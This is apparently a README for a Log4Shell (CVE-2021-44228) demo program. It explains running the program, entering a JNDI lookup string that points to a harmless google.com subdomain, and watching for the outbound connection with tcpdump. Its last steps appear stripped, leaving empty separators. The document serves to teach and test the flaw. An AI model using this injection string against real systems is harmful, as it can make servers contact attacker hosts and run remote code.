A simple program to demonstrate how Log4j vulnerability can be exploited ( CVE-2021-44228 )
To start the program, simply run the start.sh ( on UNIX systems ) or start.bat on Windows.
User input will be read and logged to console using the Log4j framework.
By default, the logging messages generated by the Log4j library do not provide any server unreachable / host not found errors for the JNDI substitutions. ( And I guess that's also a major reason why this vulnerability can be exploited with stealth )
Also try to use subdomains, like ${jndi:ldap://test29.google.com/blah} , sometimes the JNDI call will wait for the response from the remote server and that's why program looks like its stuck while it has actually made a connection attempt in the background. If you use subdomains which don't exist, JNDI call will quickly terminate after making a connection attempt and the program will continue.
I recommend you to run the program in one shell, and run the " tcpdump -i any | grep google " command on another shell in parallel and then provide inputs to the program to see whether the program has made a connection attempt.
testing ( Normal String )
--
--
Run the same program after the above step, the program shouldn't make any connection attempts / JNDI substitutions.
--